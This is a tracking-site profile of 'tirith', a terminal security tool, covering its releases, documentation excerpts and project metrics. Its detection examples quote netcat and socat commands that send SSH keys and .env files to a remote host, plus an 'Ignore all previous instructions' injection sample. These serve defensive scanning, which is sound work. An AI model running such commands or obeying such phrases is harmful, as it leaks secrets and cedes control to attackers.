untrusted_task_enforcement: Addstirith capsule run --preset untrusted-projectto copy a project into a held ephemeral tree and execute argv under fail-closed containment (x86_64 Linux with Landlock ABI required). v0.4.0 · Aug 2026 · source · release history -
Adds
tirith capsule run --preset untrusted-projectto copy an untrusted project into a held ephemeral directory and execute an exact argv under fail-closed containment on x86_64 Linux with a usable Landlock ABI; all other platforms refuse before copy or spawn. v0.4.0 · Aug 2026 · source · release history
docs
-
Safe replacement for curl | bash. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt for later verification. shell $ tirith run
https://get.docker.comtirith receipt {last,list,verify} seen Oct 2026 · source
example
-
Run an untrusted open-source project's build script in a fail-closed OS capsule on x86_64 Linux, producing a signed receipt, without risking your host.
$ tirith capsule run --preset untrusted-project --project ./untrusted-repo -- python build.pyv0.4.0 · Aug 2026 · source
+ Threat intelligence database shipped Provides a signed threat intelligence database with package, domain, IP, artifact SHA-256, installed-file hash, malicious-URL, campaign, and behavior-tag indices, with monotonic sequence checks to prevent rollback. 3 releases · 1 other source · first seen Aug 2026 ▸
release
- Upgrades threat intelligence to a signed v2 database that adds artifact SHA-256, installed-file hash, malicious-URL, campaign, and behavior-tag indices to package, domain, and IP reputation, with monotonic sequence checks to prevent rollback. v0.4.0 · Aug 2026 · source · release history
- An old client must not be pointed directly at a v2 ThreatDB data file; ThreatDB v1 remains available during the v2 cutover. v0.4.0 · Aug 2026 · source · release history
-
threat_intel_v2: Adds support for the signed v2 threat intelligence database with artifact SHA-256, installed-file hash, malicious-URL, campaign, and behavior-tag indices. v0.4.0 · Aug 2026 · source · release history
docs
-
Known-malicious packages, URLs, and IPs from the signed threat database $ pip install malicious-pkg-example Code Execution HIGH Executing from tmp/untrusted locations and dynamic or obfuscated execution $
/tmp/installer Contextual Safety HIGH seen Oct 2026 · source
+ AI config file change tracking documented Records a baseline snapshot of AI configuration files and diffs subsequent states to surface instructions or capabilities that were quietly added. 4 other sources ▸
Also counts toward: Command-line interface
docs
- tracks how your AI config files change over time. Record a baseline snapshot, then diff against it to catch instructions or capabilities that were quietly added, the kind of edit a human reviewer skims past. shell $ tirith ai snapshot # record a baseline of all AI configs $ seen Oct 2026 · source
- tracks how your AI config files change over time. Record a baseline snapshot, then diff against it to catch instructions or capabilities that were quietly added, the kind of edit a human reviewer skims past. shell $ tirith ai snapshot # record a baseline of all AI configs $ seen Oct 2026 · source
-
Git, Docker, pip, npm, registries — package and supply-chain attack surface $ git clone
https://github.com/torvald/linuxConfig Security CRITICAL AI config poisoning, prompt injection, and MCP server validation $ IMPORTANT: Ignore all previous instructions AI Config Drift HIGH seen Oct 2026 · source - Insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access. DRIFT AI Config Drift Detection # Beyond one-shot scanning, tirith ai seen Oct 2026 · source
+ Package inspection and wheel analysis shipped Analyzes Python wheel files, sets of wheels, or installed environments using a bounded streaming wheel reader that rejects traversal, collisions, encrypted entries, conflicting metadata, CRC failures, and decompression abuse, and verifies RECORD integrity for missing, modified, unowned, or multiply owned files. 3 releases · first seen Aug 2026 ▸
Also counts toward: Command-line interface
release
-
Adds
tirith package inspectto analyze wheel files, sets of wheels, or installed environments without downloading them, using a bounded streaming wheel reader that rejects traversal, collisions, encrypted entries, conflicting metadata, CRC failures, decompression abuse, and ambiguous… v0.4.0 · Aug 2026 · source · release history -
package_firewall: Addstirith package inspect,tirith pkg approve,tirith pkg install,tirith pkg graph,diff,attest,attest-npm,verify-env, andreceiptcommands for bounding Python package resolution, integrity, and evidence workflows (x86_64 Linux enforcement). v0.4.0 · Aug 2026 · source · release history - Adds Wheel RECORD and installed-environment RECORD verification to detect missing, modified, unowned, or multiply owned files. v0.4.0 · Aug 2026 · source · release history
+ Web3 operation policy enforcement shipped Classifies network and signer policy for Cast, Forge, Hardhat, Solana, and Anchor operations — covering state changes, signer risk, and network-policy violations — without reading chain state or simulating transactions, using a signed command-card schema that binds ordered Web3 operations, artifact hashes, and policy identity. 3 releases · first seen Aug 2026 ▸
release
- Adds command-card schema 2 to bind ordered Web3 operations, network identity, signer kind, artifact hashes, and policy identity while keeping schema-1 signing bytes compatible. v0.4.0 · Aug 2026 · source · release history
-
web3_guard: Addsweb3_guardfor classifying network/signer policy and covering state changes, signer risk, and network-policy violations. v0.4.0 · Aug 2026 · source · release history -
Adds
web3_guardpolicy section to classify network and signer policy, covering state changes, signer risk, and network-policy violations for Cast, Forge, Hardhat, Solana, and Anchor operations without reading chain state or simulating a transaction. v0.4.0 · Aug 2026 · source · release history
+ Behavioral pattern detection shipped Detects specific malicious behavioral patterns using TeamPCP rules within untrusted task envelopes. 2 releases · first seen Mar 2026 ▸
release
-
Adds detection for secret-file exfiltration over netcat and socat —
nc host 9000 < ~/.ssh/id_rsa,cat .env | socat TCP:host:9000 -, TLS variants withncat --sslandsocat OPENSSL:, and whole-environment dumps piped to an upload — asdata_exfiltration, and detection of downloaded output used as program source… v0.5.0 · Nov 2026 · source · release history -
TeamPCP behavior detection rulesare now included to detect specific behavioral patterns. v0.2.10 · Mar 2026 · source · release history
+ Browser extension integrity audit shipped Performs a one-shot, read-only integrity audit of Chrome, Chromium, Brave, and Edge extension source trees against signed baselines, reporting typed drift. 2 releases · first seen Aug 2026 ▸
Also counts toward: Command-line interface
release
-
Adds
tirith browser auditfor a one-shot, read-only integrity audit of Chrome, Chromium, Brave, and Edge extension source trees with signed baselines and typed drift. v0.4.0 · Aug 2026 · source · release history -
browser_audit: Addstirith browser auditfor one-shot, read-only integrity auditing of Chrome, Chromium, Brave, and Edge extension source trees with signed baselines and typed drift. v0.4.0 · Aug 2026 · source · release history
+ Native binary triage in packages shipped Triages ELF, Mach-O, and PE binaries found in Python wheels to correlate native imports, runtime launches, loaders, and payloads across distribution boundaries. 2 releases · first seen Aug 2026 ▸
Also counts toward: Command-line interface
release
- Adds ELF, Mach-O, and PE triage to find native extensions in Python wheels and correlate native imports, runtime launches, loaders, and payloads across distribution boundaries. v0.4.0 · Aug 2026 · source · release history
-
package_firewall: Addstirith package inspect,tirith pkg approve,tirith pkg install,tirith pkg graph,diff,attest,attest-npm,verify-env, andreceiptcommands for bounding Python package resolution, integrity, and evidence workflows (x86_64 Linux enforcement). v0.4.0 · Aug 2026 · source · release history
+ State and checkpoint migration guidance shipped Documents breaking changes to on-disk state locations and compatibility boundaries — such as the v2 ThreatDB cutover and the checkpoint directory move — so operators know what requires manual action during upgrades. 2 releases · first seen Aug 2026 ▸
release
- An old client must not be pointed directly at a v2 ThreatDB data file; ThreatDB v1 remains available during the v2 cutover. v0.4.0 · Aug 2026 · source · release history
-
Checkpoints created by older builds under
/tmp/tirith/checkpointsare not migrated automatically — inspect and remove that directory manually; 0.4.0 uses private per-user state. v0.4.0 · Aug 2026 · source · release history
+ Detection rule explanation and remediation documented Provides inline documentation, examples, and remediation guidance for any named detection rule ID via a CLI subcommand. 2 other sources ▸
Also counts toward: Command-line interface
docs
-
Show documentation, examples, and remediation for any detection rule. Every Rule ID on the Detection Rules page works here. shell $ tirith explain
--rulepipe_to_interpreter $ tirith explain--rulenon_ascii_hostname--fix# remediation only Pair with the Detection Rules reference to look up any of the 200+ rule IDs. seen Oct 2026 · source -
Show documentation, examples, and remediation for any detection rule. Every Rule ID on the Detection Rules page works here. shell $ tirith explain
--rulepipe_to_interpreter $ tirith explain--rulenon_ascii_hostname--fix# remediation only Pair with the Detection Rules reference to look up any of the 200+ rule IDs. seen Oct 2026 · source
+ Package supply-chain risk scoring shipped Scores package supply-chain risk factor by factor, covering npm and other ecosystems, with detailed risk derivation output. 2 other sources ▸
example
-
Show factor-by-factor risk derivation
$ tirith package explain pypi flask -
Score npm package supply-chain risk
$ tirith package risk npm reqeusts
+ Safe remote script execution documented suggested Downloads a remote script to a temp file, shows its SHA-256, runs static analysis, opens it for review in a pager, and executes it only after explicit user confirmation, producing a tamper-evident receipt. 2 other sources ▸
Suggested capability: Static application security testing. This is our guess, not confirmed.
docs
-
Safe replacement for curl | bash. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt for later verification. shell $ tirith run
https://get.docker.comtirith receipt {last,list,verify} seen Oct 2026 · source -
Safe replacement for curl | bash. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt for later verification. shell $ tirith run
https://get.docker.comtirith receipt {last,list,verify} seen Oct 2026 · source
+ Threat DB change tracking shipped Shows threat database changes since a specified date to support review of newly added or modified intelligence. 2 other sources ▸
example
-
Show DB changes since a date
$ tirith threat-db diff --since 2026-01-01 -
Count threat DB changes since a date
$ tirith threat-db diff --since 2026-01-01
+ Tool uninstallation and data removal documented Documents the steps to cleanly remove shell hooks, binaries, Oh-My-Zsh plugins, and all on-disk data (config, audit logs, receipts) across Linux, macOS, and Windows. 2 other sources ▸
docs
-
rm
-rf~/.local/share/tirith macOS shell $ rm-rf~/Library/Application\ Support/tirith $ rm-rf~/Library/Preferences/tirith Windows (PowerShell) powershell > Remove-Item-Recurse$env:LOCALAPPDATA\tirith> Remove-Item-Recurse$env:APPDATA\tirithseen Oct 2026 · source -
# Remove tirith from plugins in ~/.zshrc, then: $ rm
-rf${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith Remove Data Tirith stores data in XDG-compliant directories: Linux shell # Remove config (policy, allowlist, blocklist) $ rm-rf~/.config/tirith # Remove data (audit log, receipts, hooks, last_trigger) $ seen Oct 2026 · source
+ MCP tool and resource output sanitization shipped Sanitizes MCP tool and resource output by default using bounded structured traversal, leaf preservation, cross-leaf detection, strict blob decoding, MIME checks, URI rules, and explicit incomplete-analysis failures. 1 release · first seen Aug 2026 ▸
release
- Adds MCP tool and resource output sanitization by default using bounded structured traversal, leaf preservation, cross-leaf detection, strict blob decoding, MIME checks, URI rules, and explicit incomplete-analysis failures. v0.4.0 · Aug 2026 · source · release history
+ npm provenance attestation shipped Binds npm's own signature and provenance report to the exact lockfile and installed inventory to produce a verifiable attestation. 1 release · first seen Aug 2026 ▸
release
-
Adds
tirith pkg attest-npmto bind npm's own signature/provenance report to the exact lockfile and installed inventory. v0.4.0 · Aug 2026 · source · release history
+ Prime Agent IPython guard shipped Extracts shell escapes, shell magics, and Python process-spawn forms from Prime Agent IPython input before delegating to the Tirith engine, failing closed on unrecognised execution forms. 1 release · first seen Aug 2026 ▸
release
- Adds Prime Agent IPython guard that extracts shell escapes, shell magics, and common Python process-spawn forms before delegating to the Tirith engine; unrecognised execution forms fail closed by default. v0.4.0 · Aug 2026 · source · release history
+ Python startup execution modeling shipped Models Python startup execution through .pth, .start, sitecustomize, and usercustomize as an execution chain rather than ordinary data files. 1 release · first seen Aug 2026 ▸
release
-
Models Python startup execution through
.pth,.start,sitecustomize, andusercustomizeas an execution chain rather than ordinary data. v0.4.0 · Aug 2026 · source · release history
+ Untrusted task envelope assessment shipped Diagnostically assesses untrusted task envelopes to surface risks without executing any contained commands. 1 release · first seen Aug 2026 ▸
Also counts toward: Command-line interface
release
-
Adds
tirith task checkand the preview-gatedtirith_check_taskMCP tool (requiresTIRITH_MCP_PREVIEW=1) to diagnostically assess untrusted task envelopes without executing anything. v0.4.0 · Aug 2026 · source · release history
+ Analysis enrichment pipeline shipped Provides enhanced analysis outputs and verdict extensions for deeper inspection capabilities. 1 release · first seen Feb 2026 ▸
release
-
Pro-tier
enrichment pipelineandverdict extensionsv0.2.0 · Feb 2026 · source · release history
+ License verification shipped Verifies software licenses using Ed25519 signatures with key rotation and CI integration. 1 release · first seen Feb 2026 ▸
Also counts toward: CI/CD pipeline integration
release
-
Ed25519 signed
license verificationwith key rotation and CI guard v0.2.0 · Feb 2026 · source · release history
Lines in monospace are the tool's own words: help text
parsed from its source, or an endpoint from its API document. Under
release, a line is our summary of a dated release. Under
docs, it is quoted from the tool's own documentation or
website. Each links back to the source it came from.
Command line
No command matches.
| option | found in | since | description |
|---|
Values are placeholders taken from each option’s declared default. Nothing is executed here — the output shown is a recording of a run that already happened.
Score card
-
Shipping velocity releases a month, last 12 months
-
Documentation quality release-notes rubric, 0–100
-
Breaking-change discipline how rarely a release breaks users, and notice given
-
Maintenance risk quiet time against its own cadence, maintainers
-
Innovation & surface new capabilities, API and MCP surface
- Community health
-
Contributor trend distinct committers, this year against last
-
Maintainer concentration bus factor now against a year ago
-
Issue backlog trend issues closed per issue opened, 12 months
-
Responsiveness median time to a maintainer’s first reply
Nine scores for tirith, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.
Score cards are part of every paid plan.
See plans → Already subscribed? Sign in →Trajectory
Blank means never measured; nothing here is a filled-in zero.
Peer standings are included with Researcher and Business. See how this tool ranks against its competitors, using data we don't publish anywhere else.
See plans →Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.
How this is scored
- Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
- Documentation quality — the release-notes rubric published on the analytics page, unchanged.
- Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
- Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
- Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
- Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
- Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
- Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.
Release-note detail over time
See how much detail tirith puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.
Checking release-note history…
Releases
7 entries
No entries match these filters.
- November 20261
- September 20261
- August 20261
- March 20262
- February 20262
Project health
Issue, contributor and maintainer activity in sheeki03/tirith, 2023-12 – 2026-11, as of 2026-11-03. Twelve-month figures first; the trend lines run the whole window.
- Contributors 2 +2 vs prior 12 months
- Maintainers 1 +2 joined · −1 left, last 12 months
- Bus factor 1 committers behind half the commits
- Community-filed 100% of issues opened, last 12 months
- Median time to close 4.1 days first maintainer reply 31 hours
- Open backlog 18 of 105 issues ever filed
- Issues opened / month 9 · 0 communitymaintainers
- Open backlog 18
- Contributors / month 0
- Commits / month 0
- Stars not measured
- other 100%
Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this
Libraries its release ships
What its latest release locks, checked against known advisories.None of its release's images build from a lockfile we can read.
Add the badge to your README
Maintain this project? The badge links readers straight to this page, so they can follow every release here.